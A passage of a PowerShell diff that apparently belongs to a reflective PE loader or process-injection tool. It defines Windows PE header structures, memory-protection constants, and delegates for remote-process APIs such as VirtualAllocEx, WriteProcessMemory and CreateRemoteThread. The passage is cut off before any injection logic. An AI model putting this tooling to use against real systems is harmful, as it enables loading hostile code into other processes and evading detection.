($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + 